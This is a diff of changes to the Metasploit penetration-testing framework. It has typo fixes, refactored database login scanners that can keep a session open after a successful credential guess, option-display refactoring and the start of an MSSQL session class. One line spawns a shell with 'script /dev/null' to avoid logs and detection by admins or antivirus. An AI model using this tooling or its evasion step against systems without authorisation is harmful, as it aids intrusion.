|
||||
@@ -22,7 +22,7 @@ Synopsis:
|
||||
|
||||
Options:
|
||||
-r, --relative Output relative URLs (rather than absolute)
|
||||
-o, --output filename Filename to save URL list to. Defautls to urls.txt.
|
||||
-o, --output filename Filename to save URL list to. Defaults to urls.txt.
|
||||
INFO
|
||||
exit(0)
|
||||
end
|
||||
|
||||
+1
-1
@@ -102,7 +102,7 @@ module Anemone
|
||||
end
|
||||
|
||||
#
|
||||
# Add one ore more Regex patterns for URLs which should not be
|
||||
# Add one or more Regex patterns for URLs which should not be
|
||||
# followed
|
||||
#
|
||||
def skip_links_like(*patterns)
|
||||
|
||||
@@ -16,7 +16,7 @@
|
||||
|
||||
== 0.4.0 / 2010-04-08
|
||||
|
||||
* Major enchancements
|
||||
* Major enhancements
|
||||
|
||||
* Cookies can be accepted and sent with each HTTP request.
|
||||
|
||||
@@ -38,7 +38,7 @@
|
||||
|
||||
== 0.3.0 / 2009-12-15
|
||||
|
||||
* Major enchancements
|
||||
* Major enhancements
|
||||
|
||||
* Option for persistent storage of pages during crawl with TokyoCabinet or PStore
|
||||
|
||||
|
||||
@@ -83,7 +83,7 @@ module Metasploit
|
||||
when -5001 #kFPAuthContinue
|
||||
return parse_login_response_add_send_login_count(response, {:p => p, :g => g, :ra => ra, :ma => ma,
|
||||
:password => pass, :user => user})
|
||||
when -5023 #kFPUserNotAuth (User dosen't exists)
|
||||
when -5023 #kFPUserNotAuth (User doesn't exists)
|
||||
return :skip_user
|
||||
else
|
||||
return :connection_error
|
||||
@@ -273,7 +273,7 @@ module Metasploit
|
||||
parsed_addreses << IPAddr.ntop(address[1..4]).to_s
|
||||
when 2 # Four-byte IP address followed by a two-byte port number
|
||||
parsed_addreses << "#{IPAddr.ntop(address[1..4])}:#{address[5..6].unpack("n").first}"
|
||||
when 3 # DDP address (depricated)
|
||||
when 3 # DDP address (deprecated)
|
||||
next
|
||||
when 4 # DNS name (maximum of 254 bytes)
|
||||
parsed_addreses << address[1..address.length - 1]
|
||||
|
||||
@@ -2,7 +2,7 @@ module Metasploit
|
||||
module Framework
|
||||
module API
|
||||
# @note This is a lie. The API version is not semantically version and it's version has actually never changed
|
||||
# even though API changes have occured. DO NOT base compatibility on this version.
|
||||
# even though API changes have occurred. DO NOT base compatibility on this version.
|
||||
module Version
|
||||
MAJOR = 1
|
||||
MINOR = 0
|
||||
|
||||
@@ -16,7 +16,7 @@ module Metasploit
|
||||
# @return [Object] the parent object that had .to_credential called on it to create this object
|
||||
attr_accessor :parent
|
||||
# @!attribute private
|
||||
# The private credential component (e.g. username)
|
||||
# The private credential component (e.g. password)
|
||||
#
|
||||
# @return [String] if {#paired} is `true` or {#private} is `nil`
|
||||
# @return [String, nil] if {#paired} is `false` or {#private} is not `nil`.
|
||||
@@ -28,7 +28,7 @@ module Metasploit
|
||||
# @return [String]
|
||||
attr_accessor :private_type
|
||||
# @!attribute public
|
||||
# The public credential component (e.g. password)
|
||||
# The public credential component (e.g. username)
|
||||
#
|
||||
# @return [String] if {#paired} is `true` or {#public} is `nil`
|
||||
# @return [String, nil] if {#paired} is `false` or {#public} is not `nil`.
|
||||
|
||||
@@ -17,7 +17,7 @@ module Metasploit
|
||||
# Module Methods
|
||||
#
|
||||
|
||||
# Returns first configuration pathname from configuration_pathnames or the overridding `:path`.
|
||||
# Returns first configuration pathname from configuration_pathnames or the overriding `:path`.
|
||||
#
|
||||
# @param options [Hash{Symbol=>String}]
|
||||
# @option options [String] :path Path to use instead of first element of configurations_pathnames
|
||||
|
||||
@@ -165,7 +165,7 @@ module Metasploit
|
||||
|
||||
# dispatch to the proper method
|
||||
if (type == "get")
|
||||
# failed listings jsut disconnect..
|
||||
# failed listings just disconnect..
|
||||
begin
|
||||
data = self.datasocket.get_once(-1, ftp_timeout)
|
||||
rescue ::EOFError
|
||||
|
||||
@@ -24,7 +24,7 @@ module Metasploit
|
||||
|
||||
|
||||
# This method attempts a single login with a single credential against the target
|
||||
# @param credential [Credential] The credential object to attmpt to login with
|
||||
# @param credential [Credential] The credential object to attempt to login with
|
||||
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
|
||||
@@ -16,7 +16,7 @@ module Metasploit
|
||||
# @return [Object] The framework instance object
|
||||
attr_accessor :framework
|
||||
# @!attribute framework_module
|
||||
# @return [Object] The framework module caller, if availale
|
||||
# @return [Object] The framework module caller, if available
|
||||
attr_accessor :framework_module
|
||||
# @!attribute connection_timeout
|
||||
# @return [Integer] The timeout in seconds for a single SSH connection
|
||||
@@ -91,7 +91,7 @@ module Metasploit
|
||||
# Attempt a single login against the service with the given
|
||||
# {Credential credential}.
|
||||
#
|
||||
# @param credential [Credential] The credential object to attmpt to
|
||||
# @param credential [Credential] The credential object to attempt to
|
||||
# login with
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
# @abstract Protocol-specific scanners must implement this for their
|
||||
|
||||
@@ -68,7 +68,7 @@ module Metasploit
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @param (see Rex::Proto::Http::Request#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
res = super(opts)
|
||||
|
||||
@@ -46,7 +46,7 @@ module Metasploit
|
||||
auth_token = res.body.scan(/<input name="authenticity_token" type="hidden" value="(.*?)"/).flatten[0]
|
||||
|
||||
# New versions of GitLab use an alternative scheme
|
||||
# Try it, if the old one was not successfull
|
||||
# Try it, if the old one was not successful
|
||||
auth_token = res.body.scan(/<input type="hidden" name="authenticity_token" value="(.*?)"/).flatten[0] unless auth_token
|
||||
|
||||
fail RuntimeError, 'Unable to get Session Cookie' unless local_session_cookie
|
||||
|
||||
@@ -73,7 +73,7 @@ module Metasploit
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @param (see Rex::Proto::Http::Request#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
res = super(opts)
|
||||
|
||||
@@ -235,9 +235,9 @@ module Metasploit
|
||||
# @option opts [Credential] 'credential' A credential object
|
||||
# @option opts [Rex::Proto::Http::Client] 'http_client' object that can be used by the function
|
||||
# @option opts ['Hash'] 'context' A context
|
||||
# @raise [Rex::ConnectionError] One of these errors has occured: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
# @raise [Rex::ConnectionError] One of these errors has occurred: EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
# @return [NilClass] An error has occured while reading the response (see #Rex::Proto::Http::Client#read_response)
|
||||
# @return [NilClass] An error has occurred while reading the response (see #Rex::Proto::Http::Client#read_response)
|
||||
def send_request(opts)
|
||||
close_client = !opts.key?(:http_client)
|
||||
cli = opts.fetch(:http_client) { create_client(opts) }
|
||||
@@ -418,7 +418,7 @@ module Metasploit
|
||||
self.http_success_codes = DEFAULT_HTTP_SUCCESS_CODES if self.http_success_codes.nil?
|
||||
|
||||
# Note that this doesn't cover the case where ssl is unset and
|
||||
# port is something other than a default. In that situtation,
|
||||
# port is something other than a default. In that situation,
|
||||
# we don't know what the user has in mind so we have to trust
|
||||
# that they're going to do something sane.
|
||||
if !(self.ssl) && self.port.nil?
|
||||
|
||||
@@ -12,7 +12,7 @@ module Metasploit
|
||||
LOGIN_STATUS = Metasploit::Model::Login::Status # Shorter name
|
||||
|
||||
|
||||
# Checks if the target is ManageEngine Dekstop Central.
|
||||
# Checks if the target is ManageEngine Desktop Central.
|
||||
#
|
||||
# @return [Boolean] TrueClass if target is MSP, otherwise FalseClass
|
||||
def check_setup
|
||||
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
attr_accessor :client_id
|
||||
|
||||
# This method attempts a single login with a single credential against the target
|
||||
# @param credential [Credential] The credential object to attmpt to login with
|
||||
# @param credential [Credential] The credential object to attempt to login with
|
||||
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
require 'metasploit/framework/mssql/client'
|
||||
require 'rex/proto/mssql/client'
|
||||
require 'metasploit/framework/login_scanner/base'
|
||||
require 'metasploit/framework/login_scanner/rex_socket'
|
||||
require 'metasploit/framework/login_scanner/ntlm'
|
||||
@@ -14,7 +14,6 @@ module Metasploit
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
include Metasploit::Framework::LoginScanner::RexSocket
|
||||
include Metasploit::Framework::LoginScanner::NTLM
|
||||
include Metasploit::Framework::MSSQL::Client
|
||||
|
||||
DEFAULT_PORT = 1433
|
||||
DEFAULT_REALM = 'WORKSTATION'
|
||||
@@ -48,6 +47,18 @@ module Metasploit
|
||||
# @return [Boolean] Whether to use Windows Authentication instead of SQL Server Auth.
|
||||
attr_accessor :windows_authentication
|
||||
|
||||
# @!attribute use_client_as_proof
|
||||
# @return [Boolean] If a login is successful and this attribute is true - an MSSQL::Client instance is used as proof
|
||||
attr_accessor :use_client_as_proof
|
||||
|
||||
# @!attribute max_send_size
|
||||
# @return [Integer] The max size of the data to encapsulate in a single packet
|
||||
attr_accessor :max_send_size
|
||||
|
||||
# @!attribute send_delay
|
||||
# @return [Integer] The delay between sending packets
|
||||
attr_accessor :send_delay
|
||||
|
||||
validates :windows_authentication,
|
||||
inclusion: { in: [true, false] }
|
||||
|
||||
@@ -66,8 +77,14 @@ module Metasploit
|
||||
}
|
||||
|
||||
begin
|
||||
if mssql_login(credential.public, credential.private, '', credential.realm)
|
||||
client = Rex::Proto::MSSQL::Client.new(framework_module, framework, host, port, proxies)
|
||||
if client.mssql_login(credential.public, credential.private, '', credential.realm)
|
||||
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
if use_client_as_proof
|
||||
result_options[:proof] = client
|
||||
else
|
||||
client.disconnect
|
||||
end
|
||||
else
|
||||
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
|
||||
@@ -15,6 +15,10 @@ module Metasploit
|
||||
include Metasploit::Framework::LoginScanner::RexSocket
|
||||
include Metasploit::Framework::Tcp::Client
|
||||
|
||||
# @returns [Boolean] If a login is successful and this attribute is true - a MySQL::Client instance is used as proof,
|
||||
# and the socket is not immediately closed
|
||||
attr_accessor :use_client_as_proof
|
||||
|
||||
DEFAULT_PORT = 3306
|
||||
LIKELY_PORTS = [3306]
|
||||
LIKELY_SERVICE_NAMES = ['mysql']
|
||||
@@ -33,9 +37,9 @@ module Metasploit
|
||||
begin
|
||||
# manage our behind the scenes socket. Close any existing one and open a new one
|
||||
disconnect if self.sock
|
||||
connect
|
||||
self.sock = connect
|
||||
|
||||
::Mysql.connect(host, credential.public, credential.private, '', port, sock)
|
||||
mysql_conn = ::Mysql.connect(host, credential.public, credential.private, '', port, io: self.sock)
|
||||
|
||||
rescue ::SystemCallError, Rex::ConnectionError => e
|
||||
result_options.merge!({
|
||||
@@ -64,8 +68,17 @@ module Metasploit
|
||||
})
|
||||
end
|
||||
|
||||
unless result_options[:status]
|
||||
if mysql_conn
|
||||
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
|
||||
# This module no long owns the socket, return it as proof so the calling context can perform additional operations
|
||||
# Additionally assign values to nil to avoid closing the socket etc automatically
|
||||
if use_client_as_proof
|
||||
result_options[:proof] = mysql_conn
|
||||
nil
|
||||
else
|
||||
mysql_conn.close
|
||||
end
|
||||
end
|
||||
|
||||
::Metasploit::Framework::LoginScanner::Result.new(result_options)
|
||||
|
||||
@@ -39,7 +39,7 @@ module Metasploit
|
||||
connect
|
||||
select([sock],nil,nil,0.4)
|
||||
|
||||
# Check to see if we recieved an OK?
|
||||
# Check to see if we received an OK?
|
||||
result_options[:proof] = sock.get_once
|
||||
if result_options[:proof] && result_options[:proof][/^\+OK.*/]
|
||||
# If we received an OK we should send the USER
|
||||
|
||||
@@ -11,6 +11,10 @@ module Metasploit
|
||||
class Postgres
|
||||
include Metasploit::Framework::LoginScanner::Base
|
||||
|
||||
# @returns [Boolean] If a login is successful and this attribute is true - a PostgreSQL::Client instance is used as proof,
|
||||
# and the socket is not immediately closed
|
||||
attr_accessor :use_client_as_proof
|
||||
|
||||
DEFAULT_PORT = 5432
|
||||
DEFAULT_REALM = 'template1'
|
||||
LIKELY_PORTS = [ DEFAULT_PORT ]
|
||||
@@ -41,8 +45,8 @@ module Metasploit
|
||||
pg_conn = nil
|
||||
|
||||
begin
|
||||
pg_conn = Msf::Db::PostgresPR::Connection.new(db_name,credential.public,credential.private,uri)
|
||||
rescue RuntimeError => e
|
||||
pg_conn = Msf::Db::PostgresPR::Connection.new(db_name,credential.public,credential.private,uri,proxies)
|
||||
rescue ::RuntimeError => e
|
||||
case e.to_s.split("\t")[1]
|
||||
when "C3D000"
|
||||
result_options.merge!({
|
||||
@@ -70,8 +74,16 @@ module Metasploit
|
||||
end
|
||||
|
||||
if pg_conn
|
||||
pg_conn.close
|
||||
result_options[:status] = Metasploit::Model::Login::Status::SUCCESSFUL
|
||||
|
||||
# This module no longer owns the socket so return it as proof so the calling context can perform additional operations
|
||||
# Additionally assign values to nil to avoid closing the socket etc automatically
|
||||
if use_client_as_proof
|
||||
result_options[:proof] = pg_conn
|
||||
pg_conn = nil
|
||||
else
|
||||
pg_conn.close
|
||||
end
|
||||
else
|
||||
result_options[:status] = Metasploit::Model::Login::Status::INCORRECT
|
||||
end
|
||||
|
||||
@@ -15,7 +15,7 @@ module Metasploit
|
||||
# @return [Credential] the Credential object the result is for
|
||||
attr_accessor :credential
|
||||
# @!attribute host
|
||||
# @return [String] the addess of the target host for this result
|
||||
# @return [String] the address of the target host for this result
|
||||
attr_accessor :host
|
||||
# @!attribute port
|
||||
# @return [Integer] the port number of the service for this result
|
||||
|
||||
@@ -61,7 +61,7 @@ module Metasploit
|
||||
# and the socket is not immediately closed
|
||||
attr_accessor :use_client_as_proof
|
||||
|
||||
# If login is successul and {Result#access_level} is not set
|
||||
# If login is successful and {Result#access_level} is not set
|
||||
# then arbitrary credentials are accepted. If it is set to
|
||||
# Guest, then arbitrary credentials are accepted, but given
|
||||
# Guest permissions.
|
||||
|
||||
@@ -34,7 +34,7 @@ module Metasploit
|
||||
]
|
||||
|
||||
# This method attempts a single login with a single credential against the target
|
||||
# @param credential [Credential] The credential object to attmpt to login with
|
||||
# @param credential [Credential] The credential object to attempt to login with
|
||||
# @return [Metasploit::Framework::LoginScanner::Result] The LoginScanner Result object
|
||||
def attempt_login(credential)
|
||||
result_options = {
|
||||
@@ -119,7 +119,7 @@ module Metasploit
|
||||
end
|
||||
break unless retry?(client.error)
|
||||
|
||||
# Wait for an increasing ammount of time before retrying
|
||||
# Wait for an increasing amount of time before retrying
|
||||
delay = (2**(n+1)) + 1
|
||||
::Rex.sleep(delay)
|
||||
end
|
||||
|
||||
@@ -68,7 +68,7 @@ module Metasploit
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @param (see Rex::Proto::Http::Request#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
res = super(opts)
|
||||
|
||||
@@ -2,7 +2,7 @@ module Metasploit
|
||||
module Framework
|
||||
module NTDS
|
||||
require 'metasploit/framework/ntds/account'
|
||||
# This class respresent an NTDS parser. It interacts with the Meterpreter Client
|
||||
# This class represent an NTDS parser. It interacts with the Meterpreter Client
|
||||
# to provide a simple interface for enumerating AD user accounts.
|
||||
class Parser
|
||||
|
||||
|
||||
@@ -337,7 +337,7 @@ module Metasploit
|
||||
# This method returns the version of John the Ripper or Hashcat being used.
|
||||
#
|
||||
# @raise [PasswordCrackerNotFoundError] if a suitable cracker binary was never found
|
||||
# @return [Sring] the version detected
|
||||
# @return [String] the version detected
|
||||
def cracker_version
|
||||
if cracker == 'john'
|
||||
cmd = binary_path
|
||||
@@ -527,7 +527,7 @@ module Metasploit
|
||||
|
||||
# This runs the show command in john and yields cracked passwords.
|
||||
#
|
||||
# @return [Array] the output from teh command split on newlines
|
||||
# @return [Array] the output from the command split on newlines
|
||||
def each_cracked_password
|
||||
::IO.popen(show_command, 'rb').readlines
|
||||
end
|
||||
|
||||
@@ -71,7 +71,7 @@ module Metasploit
|
||||
# This is just md5(unicode($p)), where $p is the password.
|
||||
# Avira uses to store their passwords, there may be other apps that also use this though.
|
||||
# The trailing : shows an empty salt. This is because hashcat only has one unicode hash
|
||||
# format which is combatible, type 30, but that is listed as md5(utf16le($pass).$salt)
|
||||
# format which is compatible, type 30, but that is listed as md5(utf16le($pass).$salt)
|
||||
# with a sample hash of b31d032cfdcf47a399990a71e43c5d2a:144816. So this just outputs
|
||||
# The hash as *hash*: so that it is both JTR and hashcat compatible
|
||||
return "#{cred.private.data}:"
|
||||
|
||||
@@ -360,7 +360,7 @@ module Metasploit
|
||||
results.flatten.uniq
|
||||
end
|
||||
|
||||
# A getter for a memoized version fo the mutation keys list
|
||||
# A getter for a memoized version of the mutation keys list
|
||||
#
|
||||
# @return [Array<Array>] a 2D array of all mutation combinations
|
||||
def mutation_keys
|
||||
|
||||
@@ -73,7 +73,6 @@ module Metasploit
|
||||
# @see Rex::Socket::Tcp
|
||||
# @see Rex::Socket::Tcp.create
|
||||
def connect(global = true, opts={})
|
||||
|
||||
dossl = false
|
||||
if(opts.has_key?('SSL'))
|
||||
dossl = opts['SSL']
|
||||
|
||||
@@ -32,7 +32,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.3.48"
|
||||
VERSION = "6.3.57"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -221,6 +221,27 @@ class Config < Hash
|
||||
self.new.smb_session_history
|
||||
end
|
||||
|
||||
# Returns the full path to the PostgreSQL session history file.
|
||||
#
|
||||
# @return [String] path to the history file.
|
||||
def self.postgresql_session_history
|
||||
self.new.postgresql_session_history
|
||||
end
|
||||
|
||||
# Returns the full path to the MSSQL session history file.
|
||||
#
|
||||
# @return [String] path to the history file.
|
||||
def self.mssql_session_history
|
||||
self.new.mssql_session_history
|
||||
end
|
||||
|
||||
# Returns the full path to the MySQL session history file.
|
||||
#
|
||||
# @return [String] path to the history file.
|
||||
def self.mysql_session_history
|
||||
self.new.mysql_session_history
|
||||
end
|
||||
|
||||
def self.pry_history
|
||||
self.new.pry_history
|
||||
end
|
||||
@@ -330,6 +351,18 @@ class Config < Hash
|
||||
config_directory + FileSep + "smb_session_history"
|
||||
end
|
||||
|
||||
def postgresql_session_history
|
||||
config_directory + FileSep + "postgresql_session_history"
|
||||
end
|
||||
|
||||
def mysql_session_history
|
||||
config_directory + FileSep + "mysql_session_history"
|
||||
end
|
||||
|
||||
def mssql_session_history
|
||||
config_directory + FileSep + "mssql_session_history"
|
||||
end
|
||||
|
||||
def pry_history
|
||||
config_directory + FileSep + "pry_history"
|
||||
end
|
||||
|
||||
@@ -568,116 +568,96 @@ class ReadableText
|
||||
# @param indent [String] the indentation to use.
|
||||
# @param missing [Boolean] dump only empty required options.
|
||||
# @return [String] the string form of the information.
|
||||
def self.dump_options(mod, indent = '', missing = false)
|
||||
options = mod.options.map { |_name, option| option }
|
||||
options_grouped_by_conditions = options.group_by(&:conditions)
|
||||
def self.dump_options(mod, indent = '', missing = false, advanced: false, evasion: false)
|
||||
filtered_options = mod.options.values.select { |opt| opt.advanced? == advanced && opt.evasion? == evasion }
|
||||
|
||||
options_with_conditions = ''.dup
|
||||
options_without_conditions = ''.dup
|
||||
option_groups = mod.options.groups.map { |_name, group| group }.sort_by(&:name)
|
||||
options_by_group = option_groups.map do |group|
|
||||
[group, group.option_names.map { |name| mod.options[name] }.compact]
|
||||
end.to_h
|
||||
grouped_option_names = option_groups.flat_map(&:option_names)
|
||||
remaining_options = filtered_options.reject { |option| grouped_option_names.include?(option.name) }
|
||||
options_grouped_by_conditions = remaining_options.group_by(&:conditions)
|
||||
|
||||
options_grouped_by_conditions.each do |conditions, options|
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Indent' => indent.length,
|
||||
'Columns' =>
|
||||
[
|
||||
'Name',
|
||||
'Current Setting',
|
||||
'Required',
|
||||
'Description'
|
||||
])
|
||||
option_tables = []
|
||||
|
||||
options.sort_by(&:name).each do |opt|
|
||||
name = opt.name
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
val = mod.datastore[name]
|
||||
else
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
end
|
||||
options_grouped_by_conditions.sort.each do |conditions, options|
|
||||
tbl = options_table(missing, mod, options, indent)
|
||||
|
||||
next if (opt.advanced?)
|
||||
next if (opt.evasion?)
|
||||
next if (missing && opt.valid?(val))
|
||||
|
||||
desc = opt.desc.dup
|
||||
|
||||
# Hint at RPORT proto by regexing mixins
|
||||
if name == 'RPORT' && opt.kind_of?(Msf::OptPort)
|
||||
mod.class.included_modules.each do |m|
|
||||
case m.name
|
||||
when /tcp/i, /HttpClient$/
|
||||
desc << ' (TCP)'
|
||||
break
|
||||
when /udp/i
|
||||
desc << ' (UDP)'
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", desc ]
|
||||
end
|
||||
|
||||
next if conditions.any? && tbl.rows.empty?
|
||||
next if tbl.rows.empty?
|
||||
|
||||
if conditions.any?
|
||||
options_with_conditions << "\n\n#{indent}When #{Msf::OptCondition.format_conditions(mod, options.first)}:\n\n"
|
||||
options_with_conditions << tbl.to_s
|
||||
option_tables << "#{indent}When #{Msf::OptCondition.format_conditions(mod, options.first)}:\n\n#{tbl}"
|
||||
else
|
||||
options_without_conditions << tbl.to_s
|
||||
option_tables << tbl.to_s
|
||||
end
|
||||
end
|
||||
|
||||
result = "#{options_without_conditions}#{options_with_conditions}"
|
||||
options_by_group.each do |group, options|
|
||||
tbl = options_table(missing, mod, options, indent)
|
||||
option_tables << "#{indent}#{group.description}:\n\n#{tbl}"
|
||||
end
|
||||
|
||||
result = option_tables.join("\n\n")
|
||||
result
|
||||
end
|
||||
|
||||
# Creates the table for the given module options
|
||||
#
|
||||
# @param missing [Boolean] dump only empty required options.
|
||||
# @param mod [Msf::Module] the module.
|
||||
# @param options [Array<Msf::OptBase>] The options to be added to the table
|
||||
# @param indent [String] the indentation to use.
|
||||
#
|
||||
# @return [String] the string form of the table.
|
||||
def self.options_table(missing, mod, options, indent)
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Indent' => indent.length,
|
||||
'Columns' =>
|
||||
[
|
||||
'Name',
|
||||
'Current Setting',
|
||||
'Required',
|
||||
'Description'
|
||||
]
|
||||
)
|
||||
options.sort_by(&:name).each do |opt|
|
||||
name = opt.name
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
val = mod.datastore[name]
|
||||
else
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
end
|
||||
next if (missing && opt.valid?(val))
|
||||
|
||||
desc = opt.desc.dup
|
||||
|
||||
# Hint at RPORT proto by regexing mixins
|
||||
if name == 'RPORT' && opt.kind_of?(Msf::OptPort)
|
||||
mod.class.included_modules.each do |m|
|
||||
case m.name
|
||||
when /tcp/i, /HttpClient$/
|
||||
desc << ' (TCP)'
|
||||
break
|
||||
when /udp/i
|
||||
desc << ' (UDP)'
|
||||
break
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
tbl << [name, opt.display_value(val), opt.required? ? "yes" : "no", desc]
|
||||
end
|
||||
tbl
|
||||
end
|
||||
|
||||
# Dumps the advanced options associated with the supplied module.
|
||||
#
|
||||
# @param mod [Msf::Module] the module.
|
||||
# @param indent [String] the indentation to use.
|
||||
# @return [String] the string form of the information.
|
||||
def self.dump_advanced_options(mod, indent = '')
|
||||
options = mod.options.map { |_name, option| option }
|
||||
options_grouped_by_conditions = options.group_by(&:conditions)
|
||||
|
||||
options_with_conditions = ''.dup
|
||||
options_without_conditions = ''.dup
|
||||
|
||||
options_grouped_by_conditions.each do |conditions, options|
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Indent' => indent.length,
|
||||
'Columns' =>
|
||||
[
|
||||
'Name',
|
||||
'Current Setting',
|
||||
'Required',
|
||||
'Description'
|
||||
])
|
||||
|
||||
options.sort_by(&:name).each do |opt|
|
||||
next unless opt.advanced?
|
||||
|
||||
name = opt.name
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
val = mod.datastore[name]
|
||||
else
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
end
|
||||
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
|
||||
end
|
||||
|
||||
next if conditions.any? && tbl.rows.empty?
|
||||
|
||||
if conditions.any?
|
||||
options_with_conditions << "\n\n#{indent}Active when #{Msf::OptCondition.format_conditions(mod, options.first)}:\n\n"
|
||||
options_with_conditions << tbl.to_s
|
||||
else
|
||||
options_without_conditions << tbl.to_s
|
||||
end
|
||||
end
|
||||
|
||||
result = "#{options_without_conditions}#{options_with_conditions}"
|
||||
result
|
||||
return dump_options(mod, indent, advanced: true)
|
||||
end
|
||||
|
||||
# Dumps the evasion options associated with the supplied module.
|
||||
@@ -686,46 +666,7 @@ class ReadableText
|
||||
# @param indent [String] the indentation to use.
|
||||
# @return [String] the string form of the information.
|
||||
def self.dump_evasion_options(mod, indent = '')
|
||||
options = mod.options.map { |_name, option| option }
|
||||
options_grouped_by_conditions = options.group_by(&:conditions)
|
||||
|
||||
options_with_conditions = ''.dup
|
||||
options_without_conditions = ''.dup
|
||||
|
||||
options_grouped_by_conditions.each do |conditions, options|
|
||||
tbl = Rex::Text::Table.new(
|
||||
'Indent' => indent.length,
|
||||
'Columns' =>
|
||||
[
|
||||
'Name',
|
||||
'Current Setting',
|
||||
'Required',
|
||||
'Description'
|
||||
])
|
||||
|
||||
options.sort_by(&:name).each do |opt|
|
||||
next unless opt.evasion?
|
||||
|
||||
name = opt.name
|
||||
if mod.datastore.is_a?(Msf::DataStoreWithFallbacks)
|
||||
val = mod.datastore[name]
|
||||
else
|
||||
val = mod.datastore[name].nil? ? opt.default : mod.datastore[name]
|
||||
end
|
||||
tbl << [ name, opt.display_value(val), opt.required? ? "yes" : "no", opt.desc ]
|
||||
end
|
||||
|
||||
next if conditions.any? && tbl.rows.empty?
|
||||
|
||||
if conditions.any?
|
||||
options_with_conditions << "\n\n#{indent}When #{Msf::OptCondition.format_conditions(mod, options.first)}:\n\n"
|
||||
options_with_conditions << tbl.to_s
|
||||
else
|
||||
options_without_conditions << tbl.to_s
|
||||
end
|
||||
end
|
||||
result = "#{options_without_conditions}#{options_with_conditions}"
|
||||
result
|
||||
return dump_options(mod, indent, evasion: true)
|
||||
end
|
||||
|
||||
# Dumps the references associated with the supplied module.
|
||||
|
||||
@@ -346,7 +346,7 @@ Shell Banner:
|
||||
print_status("Using `script` to pop up an interactive shell")
|
||||
# Payload: script /dev/null
|
||||
# Using /dev/null to make sure there is no log file on the target machine
|
||||
# Prevent being detected by the admin or antivirus softwares
|
||||
# Prevent being detected by the admin or antivirus software
|
||||
shell_command("#{script_path} /dev/null")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -15,9 +15,14 @@ module CommandShellOptions
|
||||
def initialize(info = {})
|
||||
super(info)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', true])
|
||||
]
|
||||
)
|
||||
|
||||
register_advanced_options(
|
||||
[
|
||||
OptBool.new('CreateSession', [false, 'Create a new session for every successful login', true]),
|
||||
OptString.new('InitialAutoRunScript', "An initial script to run on session creation (before AutoRunScript)"),
|
||||
OptString.new('AutoRunScript', "A script to run automatically on session creation."),
|
||||
OptString.new('CommandShellCleanupCommand', "A command to run before the session is closed"),
|
||||
|
||||
@@ -0,0 +1,143 @@
|
||||
# -*- coding:binary -*-
|
||||
|
||||
require 'rex/post/mssql'
|
||||
|
||||
class Msf::Sessions::MSSQL
|
||||
|
||||
include Msf::Session::Basic
|
||||
include Msf::Sessions::Scriptable
|
||||
|
||||
# @return [Rex::Post::MSSQL::Ui::Console] The interactive console
|
||||
attr_accessor :console
|
||||
# @return [MSSQL::Client] The MSSQL client
|
||||
attr_accessor :client
|
||||
attr_accessor :platform, :arch
|
||||
attr_reader :framework
|
||||
|
||||
def initialize(rstream, opts = {})
|
||||
@client = opts.fetch(:client)
|
||||
self.console = Rex::Post::MSSQL::Ui::Console.new(self, opts)
|
||||
|
||||
super(rstream, opts)
|
||||
end
|
||||
|
||||
def bootstrap(datastore = {}, handler = nil)
|
||||
session = self
|
||||
session.init_ui(user_input, user_output)
|
||||
|
||||
@info = "MSSQL #{datastore['USERNAME']} @ #{@peer_info}"
|
||||
end
|
||||
|
||||
def execute_file(full_path, args)
|
||||
if File.extname(full_path) == '.rb'
|
||||
Rex::Script::Shell.new(self, full_path).run(args)
|
||||
else
|
||||
console.load_resource(full_path)
|
||||
end
|
||||
end
|
||||
|
||||
def process_autoruns(datastore)
|
||||
['InitialAutoRunScript', 'AutoRunScript'].each do |key|
|
||||
next if datastore[key].nil? || datastore[key].empty?
|
||||
|
||||
args = Shellwords.shellwords(datastore[key])
|
||||
